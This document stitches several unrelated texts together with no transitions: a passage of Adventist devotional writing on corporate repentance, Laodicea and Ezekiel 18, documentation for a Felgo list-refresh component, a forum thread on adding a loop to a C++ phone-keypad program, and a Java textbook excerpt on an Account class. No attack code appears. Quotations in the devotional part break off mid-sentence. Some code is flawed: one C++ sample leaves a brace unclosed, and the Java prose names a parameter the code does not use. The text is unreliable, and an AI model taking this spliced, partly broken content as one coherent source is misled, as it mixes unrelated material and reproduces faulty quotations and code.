fully appreciate that truth, we cannot fully realize
the imparted righteousness of Christ.
This is why the repentance Christ begs us to
accept takes us back to Calvary. It is impossible to
repent truly of minor sins without repenting of the
major sin that underlies all other sin. This is why
there has to be a blotting out of sin as well as a
forgiveness of sin. The heavenly High Priest is not
in the business of plucking fruit off bad trees. In
this Day of Atonement, He will lay His ax to the
root, or He will leave the "tree" alone. A skin-deep
conversion that may have been appropriate in past
ages won't do now The underlying idea behind the
message of Christ's righteousness is that I possess
230
not a shred of righteousness of my own, and only
when I see that can I discern the gift of His.
"According to your faith be it unto you," is the
measure of our receptivity. By true repentance, we
accept the gift of contrition and forgiveness for all
sin of which we are potentially capable, not merely
for the few sins which we think we have personally
committed. Thus Christ can now impute and impart
potential righteousness equal to His own
perfection, far beyond our capacity. But it abounds
much more than the potential guilt we can realize
in behalf of the sins of the world.
The Miracle-working Power of Love
Partaking of the divine nature of the Lord
Himself, the penitent "delights in mercy" He
discovers his greatest pleasure in finding
apparently hopeless material and helping these
people become subjects of God's grace:
Tell the poor desponding ones who have gone
astray that they need not despair. Though they have
231
erred, and have not been building a right character,
God has joy to restore them, even the joy of His
salvation. He delights to take apparently hopeless
material, those through whom Satan has worked,
and make them the subjects of His grace. … Tell
them there is healing, cleansing for every soul.
There is a place for them at the Lord's table
(Christ's Object Lessons, page 234).
Paul's doctrine must at last come into its own.
The seed sown nearly two thousand years ago must
begin to bear the blessed fruit that the whole
creation has groaned and travailed together in pain
to see at last.
The Holy Spirit is Beginning to Work
The repentance Christ calls for is beginning to
be realized. When one member in a congregation
falls into sin, a little reflection can convince many
members that they share in his or her guilt. Had we
been more alert, more kindhearted, more ready to
speak "a word in season to him who is weary,"
more effective in communicating the pure,
232
powerful truth of the gospel, we might have saved
the erring member from falling. With
knowledgeable pastoral care, almost any church
can now be led to feel at least some of this
corporate concern.
Therefore it is encouraging to believe that
within this generation a large sense of loving
concern can be realized on a worldwide scale.
When this time comes (and it will come unless
hindered), there will be a heart-unity and concern
between races, nationalities, and social and
economic cultures seldom seen as yet. Disparate
theological groups within the church will humble
themselves at the feet of Jesus. The fulfillment of
Christ's ideal will be on all levels. The winter of
frozen inhibitions and fears will give way to a
glorious spring where the loves and sympathies
that God has implanted in our souls will find more
true and pure expression to one another.
It will be impossible any longer to feel superior
or patronizing toward people whose race,
nationality, culture, or theology, is different from
233
ours. With "the mind of Christ," a bond of
sympathy and fellowship is established "in Him."
This miracle will follow the laws of grace.
This Will Take God's People a Step Further
Instead of limiting itself to a shared repentance
in behalf of our contemporary generation of the
living, it will take in past generations as well.
Paul's idea, 'As the body is one, and has many
members, … so also is Christ," will be seen to
include the past body of Christ also. Thus Moses'
command to repent for the sins of previous
generations will make sense (Leviticus 26:40). The
"final atonement" becomes a reality, and the pre-
Advent judgment can then be concluded.
While there will be a shaking, and some,
perhaps many, who refuse the blessing will
abandon church fellowship, the inspired word
implies that a true remnant of believers in Christ
will remain. The shaking of the tree or branches is
not all bad news. It offers the good news that
"gleaning grapes will be left in it" (compare Isaiah
234
17:6; 24:13). Those who are left "shall lift up their
voice, they shall sing … for the majesty of the
Lord" (verse 14). Those who are shaken out will
only make "manifest, that none of them were of us"
(1 John 2:19). God's work will go forward
unhindered and greatly strengthened.
In this time of unprecedented upheaval, the
church will be united and coordinated like a
healthy human body that has been healed.
Backbiting, evilsurmising, gossip, even
forgetfulness of the needs of others, will be
overcome. The listening ear tuned to be sensitive to
the call of the Holy Spirit will hear and act upon
the conviction of duty.
When He says as He said to Philip, "Go near,
and join yourself to this chariot," the obedient
response will be immediate; and a soul will be won
as the deacon won the Ethiopian official from
Candace's royal court. At last the "Head" will find
a perfectly responsive "body" with which to dwell;
and rejoicing over His people with singing, the
Lord will gladly bring into their church fellowship
235
all His people now scattered in Babylon. The
moment they step in the door, these honest-hearted
ones will sense the presence of the heart-melting
agape of Christ which is a "consuming fire" to sin.
Oh, the joys that contrition will make possible!
Miracles of heart-healing will come as if Christ
Himself were present in the flesh. Chasms of
estrangement will be bridged. Marital dissensions
will find solutions that have evaded the best efforts
of counselors and psychiatrists. Broken homes will
be cemented in the bonds of love that elicits
ultimate contrition from believing hearts. Harps
now silent will ring with melody when the strings
are touched by this Hand.
Bewildered and frustrated youth will see a
revelation of Christ never before discerned. Satan's
enchantment of drugs, liquor, immorality, and
rebellion will lose its hold, and the pure, joyous
tide of youthful devotion to Christ will flow to the
praise of His grace. "The Lord will arise over you,
and His glory will be seen upon you. The Gentiles
shall come to your light, and kings to the
236
ightness of your rising" (Isaiah 60:2, 3).
Marvelous will be the results when the church
learns to feel for the world as Christ feels for it.
The Head cannot say to the feet, "I have no need of
you" (1 Corinthians 12:21). This is why "God has
set … in the church" the various gifts of His Spirit.
The church becomes His efficient "body" in
expressing Himself to the world in the same way
that a healthy person expresses through his
physical members the thoughts and intent of his
mind. All gifts will lead to the "more excellent
way," which is agape.
The world and the vast universe beyond will
watch with wonder. The final demonstration of the
fruits of Christ's sacrifice will bring the great
controversy to a triumphant close. In a profound
sense hardly dreamed of by the pioneers, a work
will be done in the hearts of God's people that is
parallel to and consistent with the cleansing of the
sanctuary in Heaven. Thus it will be "cleansed,"
justified, set right before the universe.
237
The Certainty of Christ's Success
Such an experience will transform the church
into a dynamo of love. It is God's plan that no
church will have seating capacity for the converted
sinners who will want to stream into it. Corporate
and denominational repentance is the whole church
experiencing Christ-like love and empathy for all
for whom He died. Of course, not all in the world
will respond. In fact, many will reject its final
proclamation. But many more than we have
thought will gladly respond.
Let us beware of the sinful unbelief that doubts
how good the Good News is. Those who say, "It's
too good to be true!" should consider a lesson
hidden in Scripture. In the days of Elisha, Samaria
suffered a terrible famine through a siege by the
Syrian army:
As a result of the siege the food shortage in the
city was so severe that a donkey's head cost eighty
pieces of silver, and half a pound of dove's dung
cost five pieces of silver. … The king …
238
exclaimed, "May God strike me dead if Elisha is
not beheaded before the day is over!"
Elisha answered, … "By this time tomorrow
you will be able to buy … ten pounds of the best
wheat or twenty pounds of barley for one piece of
silver."
The personal attendant of the king said to
Elisha, "That can't happen—not even if the Lord
himself were to send grain at once!"
"You will see it happen, but you won't get to
eat any of the food," Elisha replied (2 Kings 6:25-
7:20, TEV).
We have all been nurtured in a common
unbelief that makes it easy for us to sympathize
with the "king's attendant." How could such
frightful famine be relieved by such incredible
plenty in a mere 24 hours? Elisha's message was
the contemporary Spirit of Prophecy, and the
highly placed officer simply did not believe the
gift.
239
The Lord frightened away the invading Syrians
and they left their huge supplies for the starving
Israelites:
It so happened that the king of Israel had put
the city gate under the command of the officer who
was his personal attendant. The officer was
trampled to death there by the people and died, as
Elisha had predicted. … That is just what happened
to him—he died, trampled to death by the people at
the city gate (verses 17, 20).
Unbelief in this "time of the latter rain" will
shut us out from taking part in the glorious
experience that the Lord foretells for His people.
Inspired statements confirm the vision of the
"whole church" within history fully experiencing
such blessing, doubtless following its purification:
The Holy Spirit is to animate and pervade the
whole church, purifying and cementing hearts
(Testimonies, vol. 9, page 20).
240
The time has come for a thorough reformation
to take place. When this reformation begins, the
spirit of prayer will actuate every believer, and will
banish from the church the spirit of discord and
strife. … All will be in harmony with the mind of
the Spirit (Ibid., vol. 8, page 251).. On every side doors were
thrown open to the proclamation of the truth. The
world seemed to be lightened with the heavenly
influence. … There seemed to be a reformation
such as we witnessed in 1844.
Yet some refused to be converted. … These
covetous ones became separated from the company
of believers (Ibid., vol. 9, page 126).
Here is where we take off our shoes for we
241
tread solemnly on holy ground. This modest
volume has attempted to explore Christ's call to the
angel of His church to repent. Let us pray that the
Spirit of God may employ many voices to echo the
call. The Head depends on us as members of His
"body" to express His will. Let no humble person
underestimate the importance of his or her
individual response. Perhaps all the Lord needs is
to find one person somewhere who is baptized and
crucified and risen "with Christ" and who thus
shares His experience of repentance. Then the
precious leaven of truth can permeate the whole
body.
242
Appendix A
A Repentance of Ministers
and Their Families
The following statement from Ellen White
indicates the depth of response that will come from
ministers and their wives and children when the
Holy Spirit gives the gift of repentance:. … There was close searching of the
Scriptures in regard to the sacred character of all
that appertained to the temple service. …
After a diligent searching of the Scriptures,
there was a period of silence. A very solemn
impression was made upon the people. The deep
243
moving of the Spirit of God was manifest among
us. All were troubled, all seemed to be convicted,
burdened, and distressed,
244" (Review and Herald, February 4,
1902).
245
Appendix B
Laodicea Is Not Doomed
Serious efforts have been made to convince
church members to leave the organized Seventhday
Adventist Church, or at least to withdraw their
support and fellowship. The argument is that
Philadelphia, not Laodicea, represents the true
church that will get ready for Christ's coming.
Joseph Bates is cited as a venerable authority for
this view. But this dear pioneer was mistaken in
this, as he was on some other points as well. Ellen
White never lent her endorsement to this idea of
his. Her early testimonies about the Laodicean
message thoroughly contradict his view (see
Testimonies, vol. 1, pages 185-195; Testimonies,
vol. 3, pages 252-255).
The idea that Philadelphia, not Laodicea, is the
translation church conflicts with the general pattern
of the prophetic picture in Revelation. The number
seven indicates that the seven churches symbolize
the true church through succeeding periods of
246
history from the time of the apostles to the close of
probation (Acts of the Apostles, pages 581, 583,
585). The message to Laodicea is "the warning for
the last church," not the next-to-the-last one
(Testimonies, vol. 6, page 77). The message does
not apply to apostates, but to God's true people in
the last days (Bible Commentary, vol. 7, page 959;
Testimonies, vol. 3, pages 252, 253).
The Lord's intention has always been that the
message to Laodicea result in repentance and
overcoming on the part of His true people and that
it prepare them to receive the latter rain
(Testimonies, vol. 1, pages 186, 187). There is no
hint in Scripture or the Spirit of Prophecy that the
message will ultimately fail; God's true people will
heed "the counsel of the True Witness, and they
will receive the latter rain, and thus be fitted for
translation" (Ibid., pages 187, 188). Nowhere does
Ellen White say that God's true people must leave
Laodicea and return to Philadelphia.
It is, of course, true that spiritual applications
can be made from all of the messages to the seven
247
churches, appropriate to God's people in all
generations. Human nature is the same the world
over and in all generations, so that spiritual
principles apply to all. But the messages to the
seven churches reveal a progression of victorious
overcoming that will enable the last generation
finally to reach a maturity of faith and
understanding. "The harvest of the earth" will at
last be "ripe" (Revelation 14:12-15). Heart
acceptance of truths in all the appeals to "the
angels of the seven churches" will be necessary for
this eventual ripening of the "full corn in the ear …
when the fruit is brought forth" (Mark 4:28, 29).
But for the last-day church to return to Philadelphia
would be to set the clock back to a previous
generation and violate the prophetic symbolism.
The messages to the six churches have prepared
multitudes of believers for death; repentance on the
part of Laodicea prepares a people for translation.
The message to Laodicea parallels the time of
the cleansing of the sanctuary and the work of
Christ in the Most Holy Apartment. The obvious
intent of the Revelation symbolism is to relate
248
Laodicea with the time of the "seventh angel"
sounding his trumpet during the "time of the dead,
that they should be judged" when "the temple of
God was opened in Heaven" and the Most Holy
Apartment came to view (Revelation 11:15-19).
The message to Philadelphia obviously
precedes the antitypical Day of Atonement,
fittingly parallel to the "mighty angel's" work of
Revelation 10, which also precedes the final
message of the three angels (verse 11). To change
the order of the seven churches is as confusing as
changing the order of the seven seals or the seven
trumpets. God knew what He was about when He
gave the visions to John at Patmos, and we dare not
tamper with the inspired order of these messages.
Quotations from the message to Philadelphia
which Ellen White applies to people in the last
days do not require that Laodicea be eliminated
from the prophetic succession, any more than her
frequent quotations from others of the seven
messages require that we "join" Ephesus, Smyrna,
Pergamos, Thyatira, or Sardis.
249
The problem with Laodicea is not with its
identity or with its name. Laodicea is not a dirty
word—it simply means "judging, vindicating, or
justifying, the people." It is a name appropriate to
the realities of the investigative judgment that
precedes the second coming. It connotes victory,
not defeat.
The name Philadelphia is also significant. It is
compounded from phileo, meaning affection, and
adelphos, brother. The word phileo denotes a lower
level of love than agape. But "speaking the truth in
agape" and growing "up into Him in all things,
which is the head, even Christ" is the experience
that will characterize God's people as they grow in
maturity in preparation for Christ's coming. "The
whole body" of the church, the corporate whole of
God's people of all ages, will at last make "increase
of the body unto the edifying [building up] of itself
in agape" (compare Ephesians 3:14-19; 4:13-16;
Early Writings, pages 55, 56; Christ's Object
Lessons, pages 415, 416).
250
As noted elsewhere in this book, the expression
"I will spue thee out of my mouth" is not an
accurate translation of the Greek. Christ did not say
that Laodicea must suffer His final rejection,
without hope. The Greek is mello se emesai, which
means literally, "You make Me sick with nausea,"
or "I am so nauseated that I am on the point of
vomiting." But the Verb mello does not require a
final action. Christ's nausea can be healed; it is
possible for Laodicea to repent and thus to
overcome her terrible lukewarmness.
Read Christ's letters to the angels of the seven
churches at one sitting, consecutively. It will be
very evident that they show an historical goal
direction oriented toward the return of Christ.
Thyatira is pointed forward "till I come." Sardis is
pointed forward to the pre-advent judgment.
Philadelphia is told, "I come quickly." But
Laodicea meets Christ "at the door," and is offered
the ultimate honor of sharing with Him His royal
authority.
Another internal evidence that Laodicea is the
251
last church is Christ's introduction of Himself as
"the Amen." This is a word that throughout the
New Testament expresses finality.
Christ's message to Laodicea is closely related
to the Song of Solomon 5:2, which He quotes
(from the LXX version) in Revelation 3:20. This
often neglected truth establishes Christ's Laodicean
appeal as that of the Bridegroom to His beloved.
Her eventual response is not rejection of the
Bridegroom's love, but repentance and preparation
for the "marriage of the Lamb" (Revelation 19:6-
9). Thus the promise to the "certain one" of
Revelation 3:21 (Greek, tis) is the offer of an
intimacy in relationship to Christ that is not
matched in any of the offers to the previous six
"angels of the seven churches." "The angel" of the
last church is clearly the one whose repentance is
unique, and whose overcoming at last presupposes
a unique victory and unique honor —that of
sharing executive authority with Christ Himself. A
higher destiny awaits the Bride than those who are
merely "guests" at the wedding. It is difficult not to
recognize the relationship between Revelation 3:21
252
and the glorious victory of the 144,000 (Revelation
7:1-4; 14:1-5; 15:2-4).
Thus it becomes clear that to cancel Laodicea
out of the prophetic picture, to consider the True
Witness' appeal to end in failure, is to rob Christ of
the honor and vindication He so richly deserves. It
violates the fulfillment of the prophecies in
Revelation. Cancelling Laodicea and substituting
Philadelphia requires the defeat of the True
Witness, and the final humiliation of the patient
Bridegroom who is still knocking at the door.
253
Appendix C
Ezekiel 18 And Corporate
Guilt
Does Ezekiel deny the principle of corporate
guilt? He says:
What mean ye, that ye use this proverb, . . . The
fathers have eaten sour grapes, and the children's
teeth are set on edge. …:2, 4, 20; compare Jeremiah
31: 29, 30; KJV).
Ezekiel discusses a good man who does
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everything right, but who has a son who does
everything wrong. Then he discusses how the
wicked man's son "seeth all his father's sins . . . and
doeth not such like ... He shall not die for the
iniquity of his father" (verses 14-17). Sin and guilt
are not passed on genetically. The prophet's point
is to recognize the principle of personal
responsibility. The son need not repeat his father's
sins unless he chooses to. He can break the cycle of
corporate guilt by means of repentance.
But Ezekiel does not suggest that any righteous
man is righteous of himself, nor does he deny the
Bible truth of justification by faith. Any righteous
man must be righteous by faith; apart from Christ
he has no righteousness of his own. The wicked
man is the one who rejects such righteousness by
faith. The prophet does not deny that "all have
sinned,' and "all the world … [is] guilty before
God" (Romans 3:23, 19). Apart from the imputed
righteousness of Christ, therefore, all the world is
alike guilty before God.
The son who saw his father's sins and repented
255
is delivered from the guilt of those sins by virtue of
Christ's righteousness imputed to him, but he is not
intrinsically better than his father. There is a sense
in which the son's repentance is a corporate one: he
realizes that had he been in his father's place he
could have been just as guilty. He does not think he
could not do such sins. He humbly confesses,
"There but for the grace of God am I." Now he
chooses the path of righteousness. Ezekiel is not
denying the truth of corporate repentance; he
upholds it.
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Check out this quick tour to find the best demos and examples for you, and to see how the Felgo SDK can help you to develop your next app or game!. This can be used to implement infinite scrolling for apps showing a news stream or similar data.
As an example you can load the next 20 tweets in your Twitter app as soon as a user scrolls to the bottom of the feed, as shown in the following sample:
import Felgo 3.0 AppListView { footer: VisibilityRefreshHandler { onRefresh: twitterCient.loadNextTweets() } }
After all elements are displayed in a list and there is no new additional data you might want to show, set canRefresh to
false to prevent showing
the item any longer. If your app supports true "inifite scrolling", you can keep the default value for canRefresh (
true).
The default height is
48dp and the default width is the parent width. If the VisibilityRefreshHandler is invisible, its size is set to
0.
An AppActivityIndicator is displayed by default during the refresh.
To set a custom Item instead of the default delegate, see this example:
import QtQuick 2.0 import Felgo 3.0 AppListView { footer: VisibilityRefreshHandler { // disable the default view defaultAppActivityIndicatorVisible: false Rectangle { anchors.fill: parent color: "grey" Text { text: "Refreshing ..." anchors.centerIn: parent } } onRefresh: twitterClient.loadNextTweets() } }
Use this property to control if the item should be shown or not within the contained AppListView.
By default the property is
true. Set to
false as soon as there is no more data you can load or show.
Note: Setting this property has the same effect as setting the item's Item::visible property. If the items is set to invisible, canRefresh is also set to
false.
This property was introduced in Felgo 2.17.1.
Holds whether the default AppActivityIndicator shall be visible. By default it is
true.
Set this property to false to Customize the Delegate.
This property was introduced in Felgo 2.6.1.
The AppListView this item belongs to. This property is set automatically to the parent as soon as the item gets set as the header or footer of an AppListView.
Emitted as soon as the item is visible due to scrolling to the very top or bottom in the contained AppListView. You can take appropriate actions to handle the data reload or load more items for your list.
See also canRefresh.
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Creating a loop in C++ (still learning)
nested for loop in c
for loop c programming practice
do while loop in c
for loop in c++
for loop example
for loop syntax
if statement in c
new here, trying to figure out how to repeat my program. I need to understand how to insert a loop, i think a "do while" loop will work for this, but I am unsure because I have tried a few places of insertion and cannot get it to work right.
So my program is a telephone program, I am sure everyone here has done this in school, I am learning to do this and this is the part that I am confused on. My code is below.
I just need to make it possible for the user to keep entering phone numbers, over and over again.
I feel like I should be inserting a "do" before line14 "for (counter = 0... Then insert the "while" portion at line 94 between the brackets. For some reason, that doesn't work for me and I am now stumped.
NOTE This is an assignment for school, so please explain to me rather than just show me. Thanks for everyones help.
#include <iostream> using namespace std; int main() { int counter; char phoneNumber; cout << "\nEnter a phone number in letters only." << endl; for (counter = 0; counter < 7; counter++) { cin >> phoneNumber; if (counter == 3) cout << "-"; if (phoneNumber >= 'A' && phoneNumber <= 'Z' || phoneNumber >= 'a' && phoneNumber <= 'z') switch (phoneNumber) { case 'A': case 'a': case 'B': case 'b': case 'C': case 'c': cout << 2; // keypad starts with 2 for letters ABC, abc break; case 'D': case 'd': case 'E': case 'e': case 'F': case 'f': cout << 3; //for letter DEF, def break; case 'G': case 'g': case 'H': case 'h': case 'I': case 'i': cout << 4; //for letters GHI, ghi break; case 'J': case 'j': case 'K': case 'k': case 'L': case 'l': cout << 5; //for letter JKL, jkl break; case 'M': case 'm': case 'N': case 'n': case 'O': case 'o': cout << 6; //for letters MNO, mno break; case 'P': case 'p': case 'Q': case 'q': case 'R': case 'r': case 'S': case 's': cout << 7; //for letters PQRS, pqrs break; case 'T': case 't': case 'U': case 'u': case 'V': case 'v': cout << 8; //for letters TUV, tuv break; case 'W': case 'w': case 'X': case 'x': case 'Y': case 'y': case 'Z': case 'z': cout << 9; //for letters WXYZ, wxyz break; } } return 0; }
As already said by pb772 an infinite loop of type
do { //Stuff you'd like to do } while(1);
would be fine, especially since it's a school assignment, but not ideal as always stated by pb772. I've seen advises to cycle a finite number of times and then exit but I would instead do something like a special character like '#' or '!' that will trigger a condition to exit the loop. I would see this like an exit/escape character. In the end is up to you, if you want you can do anything and what I'm proposing is just an idea to inspire you. For example another idea would be, if you'd like to go deeper, wait for another input to define what action to perform, you trigger the "command console" with '!' and then type 'q' to exit or also read the characters into a string at first so you could do complex "commands" like "!q".
Here's the simple version:
bool loop_condition = true; do { if(input == '!') { loop_condition = false; } else { //Stuff you'd like to do if the read character is not ! }while(loop_condition == true);
Just to provide context here is what's happening:
- I declare a variable named loop_condition
- Inside the loop I check if the typed character is !
- If so set the variable loop_condition to false with subsequent exit from the loop
- Else just execute your code and loop
As I already said this is a very simple example just to give you an idea and can be improved a lot.
for loop in C, for loop in C. The init step is executed first, and only once. This step allows you to declare and initialize any loop control variables. Next, the condition is evaluated. After the body of the 'for' loop executes, the flow of control jumps back up to the increment statement. The condition is now evaluated again. A loop statement allows us to execute a statement or group of statements multiple times and following is the general from of a loop statement in most of the programming languages − C++ programming language provides the following type of loops to handle looping requirements.
I suggest wrapping the
for (counter=0... loop with a
while (!cin.eof()) { block. This will allow the user to continue to enter in characters, until an EOF character (e.g. ctrl-D).
You may find you want to output a newline after every 7th character, to make the display look nice.
C - for loop in C programming with example, For loop in C programming with example: A loop is used in a programming to execute set of statements repeatedly until a given condition returns false. A for loop is a repetition control structure that allows you to efficiently write a loop that needs to execute a specific number of times. Syntax. The syntax of a for loop in C programming language is − for ( init; condition; increment ) { statement(s); } Here is the flow of control in a 'for' loop − The init step is executed first, and
do { //your code here; } while (1);
This will repeatly infinitely which is not a good practice.
int number_of_phones = 10; // total number of phones you want int i = 0; do { //your code here; i=i+1; } while (i<number_of_phones);
This will make it run 10 times for example
Loops in C and C++, is a sequence of instructions that is repeated until a certain condition is reached. An operation is done, such as getting an item of data and changing it, and then some condition is checked such as whether a counter has reached a prescribed number. …
You can have whatever condition you want in a
for loop, including nothing at all, which is treated as
true.
for(;;) { // code }
is the same as
while (true) { // code }
is the same as
do { // code } while (true)
It sounds like you mixed up the placement of braces when you tried
do { ... } while (true). You may want to move your big switch into a function, so that it's more obvious what scope a partiular
} ends.
#include <iostream> int phone_key(char key) { switch (key) { case 'A': case 'a': case 'B': case 'b': case 'C': case 'c': return 2; case 'D': case 'd': case 'E': case 'e': case 'F': case 'f': return 3; case 'G': case 'g': case 'H': case 'h': case 'I': case 'i': return 4; case 'J': case 'j': case 'K': case 'k': case 'L': case 'l': return 5; case 'M': case 'm': case 'N': case 'n': case 'O': case 'o': return 6; case 'P': case 'p': case 'Q': case 'q': case 'R': case 'r': case 'S': case 's': return 7; case 'T': case 't': case 'U': case 'u': case 'V': case 'v': return 8; case 'W': case 'w': case 'X': case 'x': case 'Y': case 'y': case 'Z': case 'z': return 9; } return 0; } int main() { for (;;) { std::cout << "\nEnter a phone number in letters only." << std::endl; for (int counter = 0; counter < 7; counter++) { char phoneNumber; cin >> phoneNumber; if (counter == 3) std::cout << "-"; std::cout << phone_key(phoneNumber); } } }
Visual Basic/Loops, In Loop, the statement needs to be written only once and the loop will be executed 10 times as shown below. In computer programming, a loop is a sequence of If you are executing a loop and hit a continue statement, the loop will stop its current iteration, update itself (in the case of for loops) and begin to execute again from the top. Essentially, the continue statement is saying "this iteration of the loop is done, let's continue with the loop without executing whatever code comes after me."
C for loop, A "For" Loop is used to repeat a specific block of code (statements) a known number of times. The for-loop statement is a very specialized while The nested loops should be adequately indented to make code readable. In some versions of 'C,' the nesting is limited up to 15 loops, but some provide more. The nested loops are mostly used in array applications which we will see in further tutorials.
How to Construct a Basic FOR Loop in the C Language, The C language gives you many ways to create loops in your code, but the most common is the for loop. A for loop has three parts: The setup. The exit condition A loop statement allows us to execute a statement or group of statements multiple times. Given below is the general form of a loop statement in most of the programming languages − C programming language provides the following types of loops to handle looping requirements.
How to Create Endless Loops in C Programming, When a C program enters an endless loop, it either spews output over and over without end or it sits there tight and does nothing. Well, it's doing what you ordered A loop statement allows us to execute a statement or a group of statements multiple times and following is the general from of a loop statement in most of the programming languages − C# provides following types of loop to handle looping requirements.
- Converting
phoneNumberto lower or upper case before the
ifand the
switchwill reduce a lot of the work you have to do testing both cases. There is also a library function to tell if a character is a letter. This is much safer because nothing guarantees that the character set will be organized in any sane fashion and there are no surprises inserted between
'a'and
'z'.
- Some things I would do differently: Read into a string stream. Convert to lower/upper case to avoid comparing against both character sets. Iterate the length of the actual user input, not assuming phone numbers are a certain length. Consider reading github.com/googlei18n/libphonenumber/blob/master/FALSEHOODS.md as well to understand edge cases. For example, what if I used Japanese or Arabic letters, how would you map those?
- stackoverflow.com/questions/5431941/…
- This does solve my problem but presents another one. It carries any extra numbers entered as you start over and it should disregard them and just start over completely. Thanks for your help and explanation!
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- 3.1 Introduction
- 3.2 Instance Variables, set Methods and get Methods
- 3.3 Primitive Types vs. Reference Types
- 3.4 Account Class: Initializing Objects with Constructors
- 3.5 Account Class with a Balance; Floating-Point Numbers
- 3.6 Wrap-Up
3.5 Account Class with a Balance; Floating-Point Numbers
We now declare an Account class that maintains the balance of a bank account in addition to the name. Most account balances are not integers. So, class Account represents the account balance as a floating-point number—a number with a decimal point, such as 43.95, 0.0, -129.8873. [In Chapter 8, we’ll begin representing monetary amounts precisely with class BigDecimal as you should do when writing industrial-strength monetary applications.]
Java provides two primitive types for storing floating-point numbers in memory—float and double. Variables of type float represent single-precision floating-point numbers and can hold up to seven significant digits. Variables of type double represent double-precision floating-point numbers. These require twice as much memory as float variables and can hold up to 15 significant digits—about double the precision of float variables.
Most programmers represent floating-point numbers with type double. In fact, Java treats all floating-point numbers you type in a program’s source code (such as 7.33 and 0.0975) as double values by default. Such values in the source code are known as floating-point literals. See Appendix D, Primitive Types, for the precise ranges of values for floats and doubles.
3.5.1 Account Class with a balance Instance Variable of Type double
Our next app contains a version of class Account (Fig. 3.8) that maintains as instance variables the name and the balance of a bank account. A typical bank services many accounts, each with its own balance, so line 8 declares an instance variable balance of type double. Every instance (i.e., object) of class Account contains its own copies of both the name and the balance.
Fig. 3.8 | Account class with a double instance variable balance and a constructor and deposit method that perform validation.
1 // Fig. 3.8: Account.java 2 // Account class with a double instance variable balance and a constructor 3 // and deposit method that perform validation. 4 5 public class Account 6 { 7 private String name; // instance variable 8
private double balance; // instance variable9 10 // Account constructor that receives two parameters 11
public Account(String name, double balance)12 { 13 this.name = name; // assign name to instance variable name 14 15 // validate that the balance is greater than 0.0; if it's not, 16 // instance variable balance keeps its default initial value of 0.0 17
if (balance > 0.0) // if the balance is valid18
this.balance = balance; // assign it to instance variable balance19 } 20 21
// method that deposits (adds) only a valid amount to the balance22
public void deposit(double depositAmount)23
{24
if (depositAmount > 0.0) // if the depositAmount is valid25
balance = balance + depositAmount; // add it to the balance26
}27 28
// method returns the account balance29
public double getBalance()30
{31
return balance;32
}33 34 // method that sets the name 35 public void setName(String name) 36 { 37 this.name = name; 38 } 39 40 // method that returns the name 41 public String getName() 42 { 43 return name; // give value of name back to caller 44 } // end method getName 45 } // end class Account
Account Class Two-Parameter Constructor
The class has a constructor and four methods. It’s common for someone opening an account to deposit money immediately, so the constructor (lines 11–19) now receives a second parameter—initialBalance of type double that represents the starting balance. Lines 17–18 ensure that initialBalance is greater than 0.0. If so, initialBalance’s value is assigned to instance variable balance. Otherwise, balance remains at 0.0—its default initial value.
Account Class deposit Method
Method deposit (lines 22–26) does not return any data when it completes its task, so its return type is void. The method receives one parameter named depositAmount—a double value that’s added to the balance only if the parameter value is valid (i.e., greater than zero). Line 25 first adds the current balance and depositAmount, forming a temporary sum which is then assigned to balance, replacing its prior value (recall that addition has a higher precedence than assignment). It’s important to understand that the calculation on the right side of the assignment operator in line 25 does not modify the balance—that’s why the assignment is necessary.
Account Class getBalance Method
Method getBalance (lines 29–32) allows clients of the class (i.e., other classes whose methods call the methods of this class) to obtain the value of a particular Account object’s balance. The method specifies return type double and an empty parameter list.
Account’s Methods Can All Use balance
Once again, the statements in lines 18, 25 and 31 use the variable balance even though it was not declared in any of the methods. We can use balance in these methods because it’s an instance variable of the class.
3.5.2 AccountTest Class to Use Class Account
Class AccountTest (Fig. 3.9) creates two Account objects (lines 9–10) and initializes them with a valid balance of 50.00 and an invalid balance of -7.53, respectively—for the purpose of our examples, we assume that balances must be greater than or equal to zero. The calls to method System.out.printf in lines 13–16 output the account names and balances, which are obtained by calling each Account’s getName and getBalance methods.
Fig. 3.9 | Inputting and outputting floating-point numbers with Account objects.
1 // Fig. 3.9: AccountTest.java 2 // Inputting and outputting floating-point numbers with Account objects. 3 import java.util.Scanner; 4 5 public class AccountTest 6 { 7 public static void main(String[] args) 8 { 9
Account account1 = new Account("Jane Green", 50.00);10
Account account2 = new Account("John Blue", -7.53);11 12 // display initial balance of each object 13 System.out.printf("%s balance: $
%.2f%n", 14 account1.getName(),
account1.getBalance()); 15 System.out.printf("%s balance: $
%.2f%n%n", 16 account2.getName(),
account2.getBalance());17 18 // create a Scanner to obtain input from the command window 19 Scanner input = new Scanner(System.in); 20 21 System.out.print("Enter deposit amount for account1: "); // prompt 22
double depositAmount = input.nextDouble(); // obtain user input23 System.out.printf("%nadding
%.2fto account1 balance%n%n", 24 depositAmount); 25
account1.deposit(depositAmount); // add to account1's balance26 27 // display balances 28 System.out.printf("%s balance: $
%.2f%n", 29 account1.getName(),
account1.getBalance()); 30 System.out.printf("%s balance: $
%.2f%n%n", 31 account2.getName(),
account2.getBalance()); 32 33 System.out.print("Enter deposit amount for account2: "); // prompt 34
depositAmount = input.nextDouble(); // obtain user input35 System.out.printf("%nadding
%.2fto account2 balance%n%n", 36 depositAmount); 37
account2.deposit(depositAmount); // add to account2 balance38 39 // display balances 40 System.out.printf("%s balance: $
%.2f%n", 41 account1.getName(),
account1.getBalance()); 42 System.out.printf("%s balance: $
%.2f%n%n", 43 account2.getName(),
account2.getBalance());44 } // end main 45 } // end class AccountTest
Jane Green balance: $50.00 John Blue balance: $0.00 Enter deposit amount for account1: 25.53 adding 25.53 to account1 balance Jane Green balance: $75.53 John Blue balance: $0.00 Enter deposit amount for account2: 123.45 adding 123.45 to account2 balance Jane Green balance: $75.53 John Blue balance: $123.45
Displaying the Account Objects’ Initial Balances
When method getBalance is called for account1 from line 14, the value of account1’s balance is returned from line 31 of Fig. 3.8 and displayed by the System.out.printf statement (Fig. 3.9, lines 13–14). Similarly, when method getBalance is called for account2 from line 16, the value of the account2’s balance is returned from line 31 of Fig. 3.8 and displayed by the System.out.printf statement (Fig. 3.9, lines 15–16). The balance of account2 is initially 0.00, because the constructor rejected the attempt to start account2 with a negative balance, so the balance retains its default initial value.
Formatting Floating-Point Numbers for Display
Each of the balances is output by printf with the format specifier %.2f. The %f format specifier is used to output values of type float or double. The .2 between % and f represents the number of decimal places (2) that should be output to the right of the decimal point in the floating-point number—also known as the number’s precision. Any floating-point value output with %.2f will be rounded to the hundredths position—for example, 123.457 would be rounded to 123.46 and 27.33379 would be rounded to 27.33.
Reading a Floating-Point Value from the User and Making a Deposit
